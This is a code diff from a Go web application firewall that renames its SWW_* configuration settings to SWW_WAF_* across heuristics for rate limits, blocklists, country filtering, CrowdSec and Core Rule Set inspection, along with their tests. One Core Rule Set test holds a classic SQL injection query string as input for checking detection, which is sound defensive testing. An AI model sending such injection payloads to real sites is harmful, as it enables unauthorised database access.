func (rq *request) limitPercentages() (percentage, percentage) {
|
||||||
@@ -48,25 +48,25 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
|
|
||||||
unknown := percentage{percent: whole}
|
unknown := percentage{percent: whole}
|
||||||
if country == "" && !rq.skippedLookupWait {
|
if country == "" && !rq.skippedLookupWait {
|
||||||
unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
|
unknown = percentage{cfg.UnknownLimitPercent, "SWW_WAF_UNKNOWN_LIMIT_PERCENT"}
|
||||||
}
|
}
|
||||||
|
|
||||||
fetched := percentage{percent: whole}
|
fetched := percentage{percent: whole}
|
||||||
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
|
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
|
||||||
fetched = percentage{percent, "SWW_ASN_LIMIT_PERCENT_URL"}
|
fetched = percentage{percent, "SWW_WAF_ASN_LIMIT_PERCENT_URL"}
|
||||||
}
|
}
|
||||||
|
|
||||||
blocklisted := percentage{percent: whole}
|
blocklisted := percentage{percent: whole}
|
||||||
if rq.blocklisted && cfg.BlocklistAction == "limit" {
|
if rq.blocklisted && cfg.BlocklistAction == "limit" {
|
||||||
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
|
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_WAF_BLOCKLIST_ACTION"}
|
||||||
}
|
}
|
||||||
|
|
||||||
reputationListed := percentage{percent: whole}
|
reputationListed := percentage{percent: whole}
|
||||||
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
|
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
|
||||||
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
|
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_WAF_REPUTATION_ACTION"}
|
||||||
}
|
}
|
||||||
|
|
||||||
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
|
const tagSetting = "SWW_WAF_TAG_LIMIT_PERCENT"
|
||||||
|
|
||||||
asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
|
asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
|
||||||
countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
|
countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
|
||||||
@@ -81,11 +81,12 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
|
|
||||||
asnBytes, countryBytes := asnRequests, countryRequests
|
asnBytes, countryBytes := asnRequests, countryRequests
|
||||||
if _, listed := cfg.ASNBytesPercent[asn]; listed {
|
if _, listed := cfg.ASNBytesPercent[asn]; listed {
|
||||||
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_ASN_BYTES_PERCENT")
|
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_WAF_ASN_BYTES_PERCENT")
|
||||||
}
|
}
|
||||||
|
|
||||||
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
||||||
countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
|
countryBytes = given(cfg.CountryBytesPercent, country,
|
||||||
|
"SWW_WAF_COUNTRY_BYTES_PERCENT")
|
||||||
}
|
}
|
||||||
|
|
||||||
return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
|
return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
|
||||||
|
|||||||
@@ -22,10 +22,10 @@ import (
|
|||||||
|
|
||||||
// The biased thresholds.
|
// The biased thresholds.
|
||||||
const (
|
const (
|
||||||
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
|
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
|
||||||
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
|
asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT"
|
||||||
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
|
countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT"
|
||||||
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
|
unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -34,7 +34,7 @@ const (
|
|||||||
asnDEHalf = asnDE + ":50"
|
asnDEHalf = asnDE + ":50"
|
||||||
asnDEQuarter = asnDE + ":25"
|
asnDEQuarter = asnDE + ":25"
|
||||||
countryDEHalf = "de:50"
|
countryDEHalf = "de:50"
|
||||||
// The same, as SWW_TAG_LIMIT_PERCENT names fromDE's tags.
|
// The same, as SWW_WAF_TAG_LIMIT_PERCENT names fromDE's tags.
|
||||||
asnTagDEHalf = "asn=64496:50"
|
asnTagDEHalf = "asn=64496:50"
|
||||||
asnTagDEQuarter = "asn=64496:25"
|
asnTagDEQuarter = "asn=64496:25"
|
||||||
countryTagDEHalf = "country=DE:50"
|
countryTagDEHalf = "country=DE:50"
|
||||||
@@ -240,7 +240,7 @@ func TestLowestPercentageApplies(t *testing.T) {
|
|||||||
noCountry, "25 from " + unknownLimitPercent,
|
noCountry, "25 from " + unknownLimitPercent,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
// SWW_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
|
// SWW_WAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
|
||||||
"the AS number's, for a client without a country",
|
"the AS number's, for a client without a country",
|
||||||
map[string]string{tagLimitPercent: "asn=64500:25"},
|
map[string]string{tagLimitPercent: "asn=64500:25"},
|
||||||
noCountry, "25 from " + tagLimitPercent,
|
noCountry, "25 from " + tagLimitPercent,
|
||||||
@@ -505,7 +505,7 @@ func wantPercent(t *testing.T, what string, percent *int64, setting, want string
|
|||||||
}
|
}
|
||||||
|
|
||||||
// percentText gives a limit percentage and the setting that gave it as
|
// percentText gives a limit percentage and the setting that gave it as
|
||||||
// text, such as "50 from SWW_TAG_LIMIT_PERCENT", or none when both are
|
// text, such as "50 from SWW_WAF_TAG_LIMIT_PERCENT", or none when both are
|
||||||
// left out.
|
// left out.
|
||||||
func percentText(percent *int64, setting string) string {
|
func percentText(percent *int64, setting string) string {
|
||||||
switch {
|
switch {
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
|
// The heuristic blocklists. It reads SWW_WAF_BLOCKLIST_ACTION, and the blocklists
|
||||||
// through the reputation lists.
|
// through the reputation lists.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -11,7 +11,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// blocklists notes the blocklists that list the client, as noteListed does,
|
// blocklists notes the blocklists that list the client, as noteListed does,
|
||||||
// and refuses the request when SWW_BLOCKLIST_ACTION is deny. Being limit, it
|
// and refuses the request when SWW_WAF_BLOCKLIST_ACTION is deny. Being limit, it
|
||||||
// lowers the client's limits instead (see limitPercentages), and being log, it
|
// lowers the client's limits instead (see limitPercentages), and being log, it
|
||||||
// does nothing more. Its figure is the blocklists that list the client.
|
// does nothing more. Its figure is the blocklists that list the client.
|
||||||
type blocklists struct{}
|
type blocklists struct{}
|
||||||
@@ -35,7 +35,7 @@ func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
|||||||
|
|
||||||
// refusedByBlocklists reports whether the heuristic blocklists refuses a
|
// refusedByBlocklists reports whether the heuristic blocklists refuses a
|
||||||
// client, given listedBy, the blocklists that list it: it does when one lists
|
// client, given listedBy, the blocklists that list it: it does when one lists
|
||||||
// it and SWW_BLOCKLIST_ACTION is deny.
|
// it and SWW_WAF_BLOCKLIST_ACTION is deny.
|
||||||
func (rq *request) refusedByBlocklists(listedBy []string) bool {
|
func (rq *request) refusedByBlocklists(listedBy []string) bool {
|
||||||
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
|
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
|
||||||
}
|
}
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
|
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNT, and the byte limits
|
||||||
// and biased thresholds through the limiter and limitPercentages.
|
// and biased thresholds through the limiter and limitPercentages.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
|||||||
@@ -19,13 +19,13 @@ import (
|
|||||||
|
|
||||||
// The byte limit settings.
|
// The byte limit settings.
|
||||||
const (
|
const (
|
||||||
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
|
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
|
||||||
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
|
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
|
||||||
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
|
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
|
||||||
bytesCount = "SWW_BYTES_COUNT"
|
bytesCount = "SWW_WAF_BYTES_COUNT"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The values of SWW_BYTES_COUNT.
|
// The values of SWW_WAF_BYTES_COUNT.
|
||||||
const (
|
const (
|
||||||
countResponse = "response"
|
countResponse = "response"
|
||||||
countRequest = "request"
|
countRequest = "request"
|
||||||
@@ -40,7 +40,7 @@ const (
|
|||||||
// byteLimit is the byte limit these tests set, as a setting: a request
|
// byteLimit is the byte limit these tests set, as a setting: a request
|
||||||
// with a body and its answer, 100 bytes, go over it.
|
// with a body and its answer, 100 bytes, go over it.
|
||||||
byteLimit = "99"
|
byteLimit = "99"
|
||||||
// minuteBytes is limit_hit for SWW_BYTES_LIMIT_PER_MINUTE.
|
// minuteBytes is limit_hit for SWW_WAF_BYTES_LIMIT_PER_MINUTE.
|
||||||
minuteBytes = "minute_bytes"
|
minuteBytes = "minute_bytes"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -227,8 +227,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS
|
||||||
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||||
)
|
)
|
||||||
|
|
||||||
s, _ := startWithAnswers(t, map[string]string{
|
s, _ := startWithAnswers(t, map[string]string{
|
||||||
|
|||||||
@@ -43,7 +43,7 @@ func scheme(r *http.Request, isQuestion bool) string {
|
|||||||
|
|
||||||
// clientGroup is the client a request is counted toward: its IPv4
|
// clientGroup is the client a request is counted toward: its IPv4
|
||||||
// address, or its IPv6 group, the netblock its IPv6 address is in of the
|
// address, or its IPv6 group, the netblock its IPv6 address is in of the
|
||||||
// length SWW_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
|
// length SWW_WAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
|
||||||
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
|
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
|
||||||
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
|
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
|
||||||
addr = addr.Unmap()
|
addr = addr.Unmap()
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
|
// The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE,
|
||||||
// and SWW_WAF_ANOMALY_THRESHOLD.
|
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -14,13 +14,13 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// coreRuleSet inspects the request with the Core Rule Set, unless
|
// coreRuleSet inspects the request with the Core Rule Set, unless
|
||||||
// SWW_WAF_MODE is off or SWW_WAF_EXEMPT_PATHS exempts its path, as
|
// SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
||||||
// pathExempt decides, and notes the rules it matched and its score in the
|
// exempts its path, as pathExempt decides, and notes the rules it matched and
|
||||||
// log line, and the rules in the metrics. A score at or over
|
// its score in the log line, and the rules in the metrics. A score at or over
|
||||||
// SWW_WAF_ANOMALY_THRESHOLD is a match: it adds the tag exploitsignature,
|
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD is a match: it adds the tag
|
||||||
// raises the core_rule_set_match alert, and in block mode refuses the request with 403,
|
// exploitsignature, raises the core_rule_set_match alert, and in block mode
|
||||||
// which is an offence its client's history counts. Its figures are the score
|
// refuses the request with 403, which is an offence its client's history
|
||||||
// and the threshold.
|
// counts. Its figures are the score and the threshold.
|
||||||
type coreRuleSet struct{}
|
type coreRuleSet struct{}
|
||||||
|
|
||||||
func (coreRuleSet) name() string { return "core_rule_set" }
|
func (coreRuleSet) name() string { return "core_rule_set" }
|
||||||
@@ -67,10 +67,10 @@ func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
|
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
|
||||||
// which the Core Rule Set scored at result, at or over SWW_WAF_ANOMALY_THRESHOLD. Its
|
// which the Core Rule Set scored at result, at or over
|
||||||
// detail gives the rule ids, the score, the method and the path with the
|
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. Its detail gives the rule ids, the
|
||||||
// query, and, for a request that is not refused for it, the mode: detect,
|
// score, the method and the path with the query, and, for a request that is
|
||||||
// or observe in observe mode.
|
// not refused for it, the mode: detect, or observe in observe mode.
|
||||||
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||||
detail := map[string]any{
|
detail := map[string]any{
|
||||||
"rule_ids": result.RuleIDs,
|
"rule_ids": result.RuleIDs,
|
||||||
@@ -94,7 +94,8 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
|||||||
ASN: rq.line.ASN,
|
ASN: rq.line.ASN,
|
||||||
ASName: rq.line.ASName,
|
ASName: rq.line.ASName,
|
||||||
Country: rq.line.Country,
|
Country: rq.line.Country,
|
||||||
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
|
Reason: "scored by the Core Rule Set at or over " +
|
||||||
Detail: detail,
|
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
|
||||||
|
Detail: detail,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -14,13 +14,13 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
|
// The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and
|
||||||
// its two modes that inspect requests.
|
// its two modes that inspect requests.
|
||||||
const (
|
const (
|
||||||
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
|
wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD"
|
||||||
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
|
||||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
|
||||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT"
|
||||||
block = "block"
|
block = "block"
|
||||||
detect = "detect"
|
detect = "detect"
|
||||||
)
|
)
|
||||||
@@ -28,7 +28,7 @@ const (
|
|||||||
// formData is the type of a form's body.
|
// formData is the type of a form's body.
|
||||||
const formData = "application/x-www-form-urlencoded"
|
const formData = "application/x-www-form-urlencoded"
|
||||||
|
|
||||||
// sizeLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
|
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies, 1K as a
|
||||||
// setting.
|
// setting.
|
||||||
const (
|
const (
|
||||||
sizeLimit = 1 << 10
|
sizeLimit = 1 << 10
|
||||||
@@ -37,7 +37,7 @@ const (
|
|||||||
|
|
||||||
// sqlInjection asks for / with an SQL injection in its query, which only
|
// sqlInjection asks for / with an SQL injection in its query, which only
|
||||||
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
||||||
// SWW_WAF_ANOMALY_THRESHOLD.
|
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
||||||
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
||||||
|
|
||||||
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
|
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
|
||||||
@@ -177,7 +177,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
|||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
wafMode: block,
|
wafMode: block,
|
||||||
@@ -186,7 +186,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
|||||||
rulesDir: writeRules(t, testRules),
|
rulesDir: writeRules(t, testRules),
|
||||||
})
|
})
|
||||||
|
|
||||||
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
|
// A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
||||||
// exempts, are not inspected.
|
// exempts, are not inspected.
|
||||||
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||||
wantCoreRuleSet(t, line, nil)
|
wantCoreRuleSet(t, line, nil)
|
||||||
@@ -205,7 +205,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
|||||||
requestlog.ActionBlockedByBlockRule)
|
requestlog.ActionBlockedByBlockRule)
|
||||||
wantCoreRuleSet(t, line, nil)
|
wantCoreRuleSet(t, line, nil)
|
||||||
|
|
||||||
// With SWW_WAF_MODE off, no request is.
|
// With SWW_WAF_CORE_RULE_SET_MODE off, no request is.
|
||||||
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
||||||
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||||
wantCoreRuleSet(t, line, nil)
|
wantCoreRuleSet(t, line, nil)
|
||||||
@@ -522,8 +522,9 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
|||||||
Host: appHost,
|
Host: appHost,
|
||||||
Client: netip.MustParseAddr(client),
|
Client: netip.MustParseAddr(client),
|
||||||
Netblock: netip.MustParsePrefix(client + "/32"),
|
Netblock: netip.MustParsePrefix(client + "/32"),
|
||||||
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
|
Reason: "scored by the Core Rule Set at or over " +
|
||||||
Detail: detail,
|
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
|
||||||
|
Detail: detail,
|
||||||
})
|
})
|
||||||
|
|
||||||
if queue.Suppressed() != 1 {
|
if queue.Suppressed() != 1 {
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
// The heuristic countries. It reads SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -10,7 +10,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// countries refuses a request when SWW_EXCLUSIVELY_ALLOWED_COUNTRIES is set and
|
// countries refuses a request when SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES is set and
|
||||||
// does not hold the client's country as it was looked up. A client without a
|
// does not hold the client's country as it was looked up. A client without a
|
||||||
// country, or whose country cannot be found, is refused. Its figures are the
|
// country, or whose country cannot be found, is refused. Its figures are the
|
||||||
// country and the setting that refused it.
|
// country and the setting that refused it.
|
||||||
@@ -29,7 +29,7 @@ func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
|||||||
return &verdict{
|
return &verdict{
|
||||||
action: requestlog.ActionCountryDenied,
|
action: requestlog.ActionCountryDenied,
|
||||||
figures: map[string]any{
|
figures: map[string]any{
|
||||||
"country": country, "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
"country": country, "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -38,7 +38,7 @@ func TestCountryLists(t *testing.T) {
|
|||||||
[]string{fromKP, unplaced},
|
[]string{fromKP, unplaced},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"with a country in SWW_TAG_DENY",
|
"with a country in SWW_WAF_TAG_DENY",
|
||||||
map[string]string{tagDeny: denyKP, allowedCountries: "de,fr"},
|
map[string]string{tagDeny: denyKP, allowedCountries: "de,fr"},
|
||||||
[]string{fromKP, unplaced},
|
[]string{fromKP, unplaced},
|
||||||
},
|
},
|
||||||
@@ -100,11 +100,11 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
|
|||||||
|
|
||||||
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)
|
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)
|
||||||
wantHeuristic(t, line, "countries",
|
wantHeuristic(t, line, "countries",
|
||||||
`{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
`{"country": "KP", "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
||||||
|
|
||||||
line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied)
|
line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied)
|
||||||
wantHeuristic(t, line, "countries",
|
wantHeuristic(t, line, "countries",
|
||||||
`{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
`{"country": "", "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
|
func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
|
||||||
@@ -262,11 +262,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
|
|||||||
action string
|
action string
|
||||||
}{
|
}{
|
||||||
{
|
{
|
||||||
"not in SWW_ALLOW_NETS", "",
|
"not in SWW_WAF_ALLOW_NETS", "",
|
||||||
http.StatusForbidden, requestlog.ActionCountryDenied,
|
http.StatusForbidden, requestlog.ActionCountryDenied,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"in SWW_ALLOW_NETS", "10.0.0.7,fd00::/8",
|
"in SWW_WAF_ALLOW_NETS", "10.0.0.7,fd00::/8",
|
||||||
http.StatusOK, requestlog.ActionForward,
|
http.StatusOK, requestlog.ActionForward,
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
@@ -296,7 +296,7 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
|
|||||||
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
|
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
|
||||||
// each in an AS of its own, and no other address. It returns its URL, and
|
// each in an AS of its own, and no other address. It returns its URL, and
|
||||||
// what returns the addresses it has been asked about. A test that needs
|
// what returns the addresses it has been asked about. A test that needs
|
||||||
// the stand-in to be asked or to answer sets SWW_LOOKUP_TIMEOUT to an
|
// the stand-in to be asked or to answer sets SWW_WAF_LOOKUP_TIMEOUT to an
|
||||||
// hour, whether or not a request waits for the answer: on the default, a
|
// hour, whether or not a request waits for the answer: on the default, a
|
||||||
// hold-up of the test process can abandon the request to the stand-in, and
|
// hold-up of the test process can abandon the request to the stand-in, and
|
||||||
// leave the client unknown.
|
// leave the client unknown.
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
|
// The heuristic crowdsec. It reads SWW_WAF_CROWDSEC_LAPI_URL, and the decisions
|
||||||
// through the reputation lists.
|
// through the reputation lists.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
|||||||
@@ -18,8 +18,8 @@ import (
|
|||||||
// test puts in the copy of its decision list, at decisionsURL, that it
|
// test puts in the copy of its decision list, at decisionsURL, that it
|
||||||
// needs, as reputation.json would at start.
|
// needs, as reputation.json would at start.
|
||||||
const (
|
const (
|
||||||
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
|
crowdSecURL = "SWW_WAF_CROWDSEC_LAPI_URL"
|
||||||
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
|
crowdSecKey = "SWW_WAF_CROWDSEC_LAPI_KEY"
|
||||||
lapi = "http://crowdsec.example:8080"
|
lapi = "http://crowdsec.example:8080"
|
||||||
decisionsURL = lapi + "/v1/decisions"
|
decisionsURL = lapi + "/v1/decisions"
|
||||||
bouncerKey = "crowdsec-key-0123456789abcdef"
|
bouncerKey = "crowdsec-key-0123456789abcdef"
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic deny_nets. It reads SWW_DENY_NETS.
|
// The heuristic deny_nets. It reads SWW_WAF_DENY_NETS.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -9,7 +9,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// denyNets refuses a client in SWW_DENY_NETS. Its figure is the netblock of
|
// denyNets refuses a client in SWW_WAF_DENY_NETS. Its figure is the netblock of
|
||||||
// the setting the client is in.
|
// the setting the client is in.
|
||||||
type denyNets struct{}
|
type denyNets struct{}
|
||||||
|
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ const (
|
|||||||
// headers and body.
|
// headers and body.
|
||||||
DispositionDeny = "deny"
|
DispositionDeny = "deny"
|
||||||
// DispositionClose tells rproxy to close the visitor's connection
|
// DispositionClose tells rproxy to close the visitor's connection
|
||||||
// without an answer, which SWW_BAN_RESPONSE asks for when it is close.
|
// without an answer, which SWW_WAF_BAN_RESPONSE asks for when it is close.
|
||||||
// discriminator closing the question's connection instead would read as
|
// discriminator closing the question's connection instead would read as
|
||||||
// discriminator being down, and rproxy would then let the request through.
|
// discriminator being down, and rproxy would then let the request through.
|
||||||
DispositionClose = "close"
|
DispositionClose = "close"
|
||||||
@@ -302,7 +302,7 @@ func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// allow answers a question with DispositionAllow and, while
|
// allow answers a question with DispositionAllow and, while
|
||||||
// SWW_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
|
// SWW_WAF_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
|
||||||
func (rq *request) allow() {
|
func (rq *request) allow() {
|
||||||
rq.allowed = true
|
rq.allowed = true
|
||||||
|
|
||||||
@@ -328,7 +328,7 @@ func (rq *request) deny(r refusal) {
|
|||||||
rq.refused = &r
|
rq.refused = &r
|
||||||
|
|
||||||
if r.status == 0 {
|
if r.status == 0 {
|
||||||
